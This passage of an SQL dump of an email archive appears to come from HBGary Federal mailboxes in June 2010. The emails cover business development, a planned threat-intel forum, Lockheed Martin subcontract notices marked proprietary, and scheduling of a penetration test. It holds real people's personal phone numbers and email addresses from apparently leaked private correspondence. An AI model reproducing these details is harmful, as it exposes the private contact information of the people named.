<ted@hbgary.com>','/aaron@hbgary.com/new/1297006122.M16817P14101Q2739.eml','\"Michael Snyder\" <michael@hbgary.com>,\"Michael Snyder\" <michael@hbgary.com>,','Fwd: Summary of Telecon','Hi Michael,\r\n\r\nGreg asked Mark and I to make the changes below to the HBGary website.\r\n Can you please provide Mark (cc\'d) with the required perms for the\r\nwebservers.  Do you have some time today when Mark can give you a call\r\nto ask a couple of questions?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Jun 28, 2010 at 11:41 AM\r\nSubject: Summary of Telecon\r\nTo: Greg Hoglund \r\nCc: Aaron Barr , mark@hbgary.com\r\n\r\n\r\nHere is a quick summary of our VTC describing the changes to be made\r\nto HBGary.com:\r\n\r\nCreate an Information Sharing Forum off of the Portal:\r\nCustomers can share Indicators of Compromise\r\nRemove Forum off of Community Link on Menu Bar\r\n Forum is already integrated in site.\r\n Nobody is using it.\r\n Take forum link away (from the public site)\r\n Move it to the portal.\r\nSingle Forum, name it \"Threat Intel\" or something like that.\r\n Customers can post information about indicators of compromise.\r\n Portal is running off different physical machine.\r\n Forum is running off main webserver.\r\n They have shared authentication token.\r\n Do not want everyone who has a portal acct to have forum acct.\r\n Only customers:  get with Michael to understand how this works.\r\n Michael@hbgary.com\r\nPut link directly under Summary on left nav bar in Portal.\r\n\r\n--\r\nTed\r\n',16231,'aaron_hbgary_com/16231.html'),(7885,'2010-06-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006122.M273375P14101Q2740.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','HBGary to put \"threat intel sharing\" forum online',' \r\nTeam,\r\n \r\nWe are going to put a forum online under the portal.hbgary.com site where customers, I.R. staff, and the engineering team can post / trade IOC queries.  This would be a secure forum and only available to customers we have specifically enabled it for.  I am trying to come up with a name for this forum.  If you have any ideas, please email them to me.\r\n\r\n \r\nHere are some so far:\r\n \r\n&quot;Threat Forum&quot;\r\n&quot;Threat Intel Forum&quot;\r\n&quot;Intel Sharing Center&quot;\r\n&quot;Response Forum&quot;\r\n \r\netc.\r\n \r\nWe want something that is easy to market when we pitch to customers.  We get asked quite a bit if we intend to deliver the IOC&#39;s as part of the DDNA subscription.  There are probably over 100 IOC&#39;s we can post into the forum right out of the gate.  It could also be a semi-private way to share RE data on active threats w/ the customer base.\r\n\r\n \r\n-Greg\r\n',1675,'aaron_hbgary_com/1675.html'),(7886,'2010-06-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006122.M955029P14101Q2741.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: UNO - Carvel Task Order Announcement   - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Curtis, Colleen A\r\n[mailto:colleen.a.curtis@lmco.com] \r\nSent: Monday, June 28, 2010 1:20 PM\r\nCc: Mai, Richard E; Racz, James M; Watson, Charles M; Staley, Ryan E\r\nSubject: UNO - Carvel Task Order Announcement - Lockheed Martin\r\nProprietary Information\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Afternoon,\r\n\r\n&nbsp;\r\n\r\nPlease find attached, the Carvel Task Order Unclassified\r\nannouncement and Initial Security attachment to all the UNO Team Mates.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you have\r\nany questions,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply\r\nChain Management\r\n\r\nSubcontract\r\nAdministrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone:\r\n703-466-1307\r\n\r\nFAX:\r\n703-466-1270\r\n\r\ne-mail:\r\nColleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/28/10\r\n02:37:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8469,'aaron_hbgary_com/8469.html'),(7887,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006123.M183562P14101Q2742.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: UNO - Carvel Task Order Announcement - Lockheed Martin 	Proprietary Information','Tks bob.I get these now.AaronFrom my iPhoneOn Jun 28, 2010, at 1:52 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Curtis, Colleen A\r\n[mailto:colleen.a.curtis@lmco.com] \r\nSent: Monday, June 28, 2010 1:20 PM\r\nCc: Mai, Richard E; Racz, James M; Watson, Charles M; Staley, Ryan E\r\nSubject: UNO - Carvel Task Order Announcement - Lockheed Martin\r\nProprietary Information\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Afternoon,\r\n\r\n \r\n\r\nPlease find attached, the Carvel Task Order Unclassified\r\nannouncement and Initial Security attachment to all the UNO Team Mates.  \r\n\r\n \r\n\r\n \r\n\r\nPlease let me know if you have\r\nany questions,\r\n\r\n \r\n\r\n \r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply\r\nChain Management\r\n\r\nSubcontract\r\nAdministrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone:\r\n703-466-1307\r\n\r\nFAX:\r\n703-466-1270\r\n\r\ne-mail:\r\nColleen.a.curtis@lmco.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/28/10\r\n02:37:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;I (Initial) - Security Information_5-20-10_ - Task Order.docx&gt;&lt;Announcement_Unclass_Carvel_100622.doc&gt;\r\n\r\n',12747,'aaron_hbgary_com/12747.html'),(7888,'2010-06-28','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297006123.M434372P14101Q2743.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: PT','Ted --\r\n\r\nNo kickoff meeting today.  The client had to split the order into 2 pieces.  Given 1) the time urgency to get the ORCL piece started this week and 2) the non-standard terms we need for your part of the work, they split and awarded part 1 to us.  For part 2 (PT), they need to A) increase the number of hours per our discussion last week and B) agree to waive their standard security terms (which include language such as our commitment not to try and penetrate their systems!).  This is expected to take a couple more weeks for them to work through on their end and reissue to us.  We should be planning for the August timing (which you should have).\r\n\r\nDoes that clear things up?\r\n\r\nIra\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 12:44 PM, Ted Vera wrote:\r\n\r\nHi Ira,\r\n\r\nWhat\'s the latest word on the penetration test?  Is there a kick-off\r\ntelecon scheduled?  I heard that the proposal had to be split in order\r\nto get the Oracle effort awarded in time.  When do you expect the PT\r\naward announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n',10600,'aaron_hbgary_com/10600.html'),(7889,'2010-06-28','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297006123.M673047P14101Q2744.eml',',,,','UNO - Carvel Task Order Announcement - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nPlease be advised that the initial\r\ninterest acknowledgement on Carvel is due on Wednesday, June 30th.&nbsp;\r\nSorry for the confusion.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply\r\nChain Management\r\n\r\nSubcontract\r\nAdministrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone:\r\n703-466-1307\r\n\r\nFAX:\r\n703-466-1270\r\n\r\ne-mail:\r\nColleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10906,'aaron_hbgary_com/10906.html'),(7890,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006123.M915118P14101Q2745.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Biz Opp','Total Small Biz Set-aside:\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=8aef0a9fe742810f16ea5efc567e6b72&tab=core&_cview=0\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3820,'aaron_hbgary_com/3820.html'),(7891,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006124.M160372P14101Q2746.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Biz Opp','Details: The Department of Homeland Security in conjunction with the\r\nDepartment of Justice is developing an application, CyberScope, to\r\nhandle manual and automated inputs of agency data for FISMA reporting.\r\n\r\n\r\nThe CyberScope software is being enhanced to receive and process XML\r\nfiles of Agency data collected from scanning operations to promote and\r\nfurther the process of automated scanning and fast, accurate reporting\r\nof agency configuration and status information.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=04ab73d12b01e9387c78dfc008854ec5&tab=core&_cview=0\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12216,'aaron_hbgary_com/12216.html'),(7892,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006124.M372919P14101Q2747.eml','\"Barr Aaron\" <aaron@hbgary.com>','Biz Opp','https://www.fbo.gov/index?s=opportunity&mode=form&id=c3685372a23a3dfadad9bf9ed88d935f&tab=core&_cview=0\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',760,'aaron_hbgary_com/760.html'),(7893,'2010-06-28','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297006124.M584589P14101Q2748.eml','\"Aaron Barr\" <aaron@hbgary.com>','Blackbird Meetings','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; how does your schedule this Friday look? &nbsp;I&#8217;ve spoken to several folks here based on our discussion at dinner last week and this coming Friday looks\r\n like the best bet for getting some of your issues addressed. &nbsp;Let me know what times are available for you and I&#8217;ll schedule something. &nbsp;Fyi, Peggy Styer (President, Blackbird Technologies) would like to meet you.\r\n&nbsp;\r\nDon\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n',3135,'aaron_hbgary_com/3135.html'),(7894,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006124.M817297P14101Q2749.eml','\"Bailey, Don\" <dbailey@blackbirdtech.com>','Re: Blackbird Meetings','Friday is good.  Look forward to it.AaronFrom my iPhoneOn Jun 28, 2010, at 3:25 PM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\nAaron – how does your schedule this Friday look?  I’ve spoken to several folks here based on our discussion at dinner last week and this coming Friday looks\r\n like the best bet for getting some of your issues addressed.  Let me know what times are available for you and I’ll schedule something.  Fyi, Peggy Styer (President, Blackbird Technologies) would like to meet you.\r\n\r\n \r\nDon\r\n \r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n \r\n\r\n\r\n\r\n\r\n',13318,'aaron_hbgary_com/13318.html'),(7895,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006125.M43921P14101Q2750.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Pipeline: Action Items','1.  Ted to contact Jose.\r\n2.  Aaron to contact Bob Shows.\r\n3.  Ted to send email to TASC/MACB to set up meetings with Aaron in\r\nAug GFirst Conf in TX\r\n4.  Ted to call Rich H\r\n5.  Aaron to find out about I2S contract slots.\r\nDONE  6.  Ted to add Irreg Warfare & SE Cyber Support opps to pipeline.\r\n',15670,'aaron_hbgary_com/15670.html'),(7896,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006127.M286P14101Q2751.eml','\"Willis, Dan\" <dan.willis@macb.com>,\"Willis, Dan\" <dan.willis@macb.com>','HBGary','Hi Dan,\r\n\r\nLong time no talk, hope all is going well.  I wanted to let you know\r\nthat Aaron Barr will be in San Antonio attending the GFIRST Conference\r\nAug 15-20th.  Would you be interested in scheduling some time to meet\r\nand discuss HBGary capabilities and potential teaming opportunities?\r\n\r\nI\'ve also attached a whitepaper you may find interesting, which\r\ndescribes our newest enterprise product, Active Defense.\r\n\r\nRegards,\r\nTed\r\n',2312,'aaron_hbgary_com/2312.html'),(7897,'2010-06-28','\"Lance Cottrell\" <lcottrell@anonymizerinc.com>','/aaron@hbgary.com/new/1297006127.M441529P14101Q2752.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Collaboration Opportunity','This is of particular interest to me. Creating such a system while ensuring enhanced privacy (a stated goal) is incredibly difficult to do.I am in favor of trying to create a response.	-LanceOn Jun 26, 2010, at 6:47 PM, Varner, Bill wrote:Ladies &amp; Gents,&nbsp;The draft National Strategy for Trusted Identities in Cyberspace was released yesterday by Howard Schmidt (website below). This follows some of the same themes we were discussing at the dinner – that is – trusted transactions over untrusted networks.&nbsp;There is an opportunity for comment by July 19. This is a great &nbsp;opportunity to test the collaboration I was suggesting at the dinner, and this is indeed an opportunity to use our influence. I would like to put together a response from the ExecutiveBiz Cyber Group if you are willing. When you have a chance to read the document, let’s start some communication. Jennifer is going to get us together for breakfast but we will have to respond to this draft before we can get together.&nbsp;http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspace&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\n--&nbsp;Lance M. CottrellFounder, Chief ScientistAnonymizer Inc.P:&nbsp;&nbsp;703-592-6772F: 703-563-9471IMPORTANT NOTICE: The information contained in&nbsp;or attached to this &nbsp;e-mail may be confidential and/or privileged&nbsp;information subject to &nbsp;protection by law or terms of applicable&nbsp;confidentiality agreements, &nbsp; andis intended only for the use of the individual or entity&nbsp;named &nbsp; above.Any unauthorized review, use, disclosure or&nbsp;distribution is &nbsp; prohibited.If you are not the intended recipient, please contact&nbsp;the &nbsp; sender byreply email and destroy all copies of the original&nbsp;message. &nbsp; The nameAnonymizer is a registered trademark of Anonymizer,&nbsp;Inc. in &nbsp; the UnitedStates and other countries. Use of the Anonymizer&nbsp;name or &nbsp; imagery isstrictly prohibited without the prior written consent&nbsp;of &nbsp; Anonymizer,Inc.&nbsp;\r\n\r\n\r\n',16047,'aaron_hbgary_com/16047.html'),(7898,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006129.M312810P14101Q2753.eml','\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>,\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>','HBGary','Hi Jose,\r\n\r\nLong time no talk, hope all is going well.  I wanted to let you know\r\nthat Aaron Barr will be in San Antonio attending the GFIRST Conference\r\nAug 15-20th.  Would you be interested in scheduling some time to meet\r\nand discuss HBGary capabilities and potential teaming / other\r\nopportunities? Or just meet for a beer?\r\n\r\nI\'ve also attached a whitepaper you may find interesting, which\r\ndescribes our newest enterprise product, Active Defense.\r\n\r\nRegards,\r\nTed\r\n',7020,'aaron_hbgary_com/7020.html'),(7899,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006129.M632570P14101Q2754.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','---------- Forwarded message ----------\r\nFrom: Willis, Dan \r\nDate: Mon, Jun 28, 2010 at 2:30 PM\r\nSubject: RE: HBGary\r\nTo: Ted Vera \r\n\r\n\r\nTed,\r\n\r\n       Thanks for the note.  Yes, I\'d like to gather a couple of our\r\nmanagers to chat with Aaron.  Have him shoot me an email when we\'re a\r\nlittle closer and I\'ll round up the masses here and set a date/time.\r\n\r\n       Hope all is well with you.  I\'ll pass your white paper around.\r\n\r\nThanks,\r\nDan\r\n\r\n____________________\r\nDan B. Willis\r\nDirector, IO Programs\r\nInformation Dominance Division\r\nMacAulay-Brown, Inc.\r\nOffice  (210) 732-7417\r\nFax     (210) 732-1012\r\nMobile (210) 363-2332\r\nWeb     www.macb.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 3:15 PM\r\nTo: Willis, Dan\r\nCc: Barr Aaron\r\nSubject: HBGary\r\n\r\nHi Dan,\r\n\r\nLong time no talk, hope all is going well.  I wanted to let you know\r\nthat Aaron Barr will be in San Antonio attending the GFIRST Conference\r\nAug 15-20th.  Would you be interested in scheduling some time to meet\r\nand discuss HBGary capabilities and potential teaming opportunities?\r\n\r\nI\'ve also attached a whitepaper you may find interesting, which\r\ndescribes our newest enterprise product, Active Defense.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9049,'aaron_hbgary_com/9049.html'),(7900,'2010-06-28','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>','/aaron@hbgary.com/new/1297006129.M866586P14101Q2755.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary','You bet.  Just let me know when he is available and we can go from\r\nthere.  If we are still at the 92d, maybe he can come down there for a\r\nvisit and learn more about our problem set.\r\n\r\nWhatever happened to the command line tool you and Jacob discussed?\r\n\r\nJose\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, June 28, 2010 3:16 PM\r\nTo: Sandoval Jr, Jose (TASC)\r\nCc: Barr Aaron\r\nSubject: HBGary\r\n\r\nHi Jose,\r\n\r\nLong time no talk, hope all is going well.  I wanted to let you know\r\nthat Aaron Barr will be in San Antonio attending the GFIRST Conference\r\nAug 15-20th.  Would you be interested in scheduling some time to meet\r\nand discuss HBGary capabilities and potential teaming / other\r\nopportunities? Or just meet for a beer?\r\n\r\nI\'ve also attached a whitepaper you may find interesting, which\r\ndescribes our newest enterprise product, Active Defense.\r\n\r\nRegards,\r\nTed\r\n',12823,'aaron_hbgary_com/12823.html'),(7901,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006130.M310363P14101Q2757.eml','\"Barr Aaron\" <aaron@hbgary.com>','Rich H','I called him earlier, got his voicemail.  I waited a while and just\r\ncalled him back hoping to catch him on his commute but got his\r\nvoicemail again.  I left him a message.\r\n\r\nTed\r\n',16205,'aaron_hbgary_com/16205.html'),(7902,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006130.M519623P14101Q2758.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','Just spoke with Jose.  He expects the RFP today or tomorrow.  It will\r\nbe much smaller than originally anticipated.  Basically just another\r\nbridge contract.\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Sandoval Jr, Jose (TASC) \r\nDate: Mon, Jun 28, 2010 at 2:50 PM\r\nSubject: RE: HBGary\r\nTo: Ted Vera \r\nCc: Barr Aaron \r\n\r\n\r\nYou bet.  Just let me know when he is available and we can go from\r\nthere.  If we are still at the 92d, maybe he can come down there for a\r\nvisit and learn more about our problem set.\r\n\r\nWhatever happened to the command line tool you and Jacob discussed?\r\n\r\nJose\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 3:16 PM\r\nTo: Sandoval Jr, Jose (TASC)\r\nCc: Barr Aaron\r\nSubject: HBGary\r\n\r\nHi Jose,\r\n\r\nLong time no talk, hope all is going well.  I wanted to let you know\r\nthat Aaron Barr will be in San Antonio attending the GFIRST Conference\r\nAug 15-20th.  Would you be interested in scheduling some time to meet\r\nand discuss HBGary capabilities and potential teaming / other\r\nopportunities? Or just meet for a beer?\r\n\r\nI\'ve also attached a whitepaper you may find interesting, which\r\ndescribes our newest enterprise product, Active Defense.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13490,'aaron_hbgary_com/13490.html'),(7903,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006130.M769640P14101Q2759.eml','\"Hammack, Jacob P (TASC)\" <Jacob.Hammack@tasc.com>,\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Command Line Tool','I just spoke with Greg.  During our Active Defense development effort\r\nwe did complete a ddna.exe that can run against static executables,\r\nalthough it has not been thoroughly tested.  It has significant\r\nlimitations when compared to dynamic analysis ie if the suspect file\r\nis packed/obsfucated/encrypted.  It\'s not ready for public release,\r\nbut we may be able to work something out in support of the recompete.\r\n\r\nPersonally I think you would get much more benefit from our TMC\r\nsolution, which you can point at a directory full of suspect\r\nexecutables and it will automatically perform dynamic analysis and\r\nkick out a comprehensive report in a number of formats.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 3:07 PM, Ted Vera  wrote:\r\n> No, we briefed our fingerprint tool, which will be released at\r\n> BlackHat (Greg is briefing it).\r\n>\r\n> Ted\r\n>\r\n>\r\n> On Wed, Jun 23, 2010 at 3:06 PM, Hammack, Jacob P (TASC)\r\n>  wrote:\r\n>>\r\n>> Ted,\r\n>>\r\n>> I was told that at REBL conf, yall released the static command line tool for\r\n>> HB Gary digital dna? Is this true?\r\n>>\r\n>> Thank you,\r\n>> -Jacob\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15179,'aaron_hbgary_com/15179.html'),(7904,'2010-06-28','\"Burnette, Donna M\" <Donna.Burnette@ManTech.com>','/aaron@hbgary.com/new/1297006130.M91001P14101Q2756.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: USINSCOM','Hello Mr. Barr,\r\n\r\nBob\'s calendar is open on the 7th.  What time would be convenient for\r\nyou to meet with him here in the SCIF at the Falls Church office, either\r\nbefore or after your meeting with Eric?\r\n\r\nPlease let me know what works best for you and I will block it on his\r\ncalendar.\r\n\r\nKind regards,\r\nDonna\r\n\r\nDonna M Burnette\r\nExecutive Assistant to \r\nRobert Frisbie, SVP Operations & Security\r\nManTech International Corporation\r\nMission, Cyber & Technology Solutions Group\r\n7799 Leesburg Pike\r\nSuite 700, South Tower\r\nFalls Church, VA 22043\r\nP: 703.485.8009\r\nM: 571.251.3949\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 11:55 AM\r\nTo: Frisbie, Robert P\r\nSubject: Re: USINSCOM\r\n\r\nYes.  I have my badge back.\r\n\r\nAaron\r\n\r\nOn Jun 28, 2010, at 11:51 AM, Frisbie, Robert P wrote:\r\n\r\n> In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n> \r\n> Do you have tickets so we can talk in a scif?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 28, 2010 11:31 AM\r\n> To: Frisbie, Robert P\r\n> Subject: Re: USINSCOM\r\n> \r\n> Bob,\r\n> \r\n> I am meeting with Eric Eifert on the 7th @2pm.  Do you have some time\r\nto\r\n> meet that day or do you want to set something up separately?  Based on\r\n> the limited information I have received I definitely want to\r\nparticipate\r\n> on GatorBait.  I have the attendee list from the meeting and based on\r\nmy\r\n> knowledge of companies capabilities and exposure to this customer I\r\n> think ManTech, Mandiant, GD are in the best positions with this\r\ncustomer\r\n> but might be missing 1 or 2.  This customer knows HBGary (mostly\r\nbecause\r\n> Ted and I introduced them as a subcontractor) but the exposure is\r\n> limited, however I think we could add significant value.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n> \r\n>> Turns out that I have some classified capabilities very close to what\r\n>> you did in Colorado lab.\r\n>> \r\n>> We also have a opportunity called GaitorBait that may be something we\r\n>> should talk about.\r\n>> \r\n>> Interested?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, June 24, 2010 9:27 AM\r\n>> To: Frisbie, Robert P\r\n>> Subject: USINSCOM\r\n>> \r\n>> Hi Bob,\r\n>> \r\n>> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n> Team\r\n>> at INSCOM as a result of a briefing I did at NSA last week on New\r\n> Media.\r\n>> Turns out there is significant anxiety in DoD since a new directive\r\n> was\r\n>> signed a few months ago authorizing access to social/new media on\r\n> .mil.\r\n>> I am going to be talking to them about Incident Response, New Media\r\n> and\r\n>> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work\r\n> in\r\n>> that area again yet, but thought this might be of interest.\r\n>> \r\n>> I am starting to work on a curriculum to provide training to\r\n>> organizations on new media familiarization, concerns, processes to\r\n>> improve protection, etc.  Also looking into what type of solutions we\r\n>> can build to help organizations.  New Media is something I know a\r\n> little\r\n>> about. ;)\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7589,'aaron_hbgary_com/7589.html'),(7905,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006130.M989497P14101Q2760.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Pipeline: Action Items','DONE> 1.  Ted to contact Jose.\r\n> 2.  Aaron to contact Bob Shows.\r\nDONE> 3.  Ted to send email to TASC/MACB to set up meetings with Aaron\r\nin Aug GFirst Conf in TX\r\nDONE> 4.  Ted to call Rich H\r\n> 5.  Aaron to find out about I2S contract slots.\r\nDONE> 6.  Ted to add Irreg Warfare & SE Cyber Support opps to pipeline.\r\n',5824,'aaron_hbgary_com/5824.html'),(7906,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006131.M213458P14101Q2761.eml','\"Barr Aaron\" <aaron@hbgary.com>','did your phone die?','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6467,'aaron_hbgary_com/6467.html'),(7907,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006131.M454333P14101Q2762.eml','\"Ted Vera\" <ted@hbgary.com>','Re: did your phone 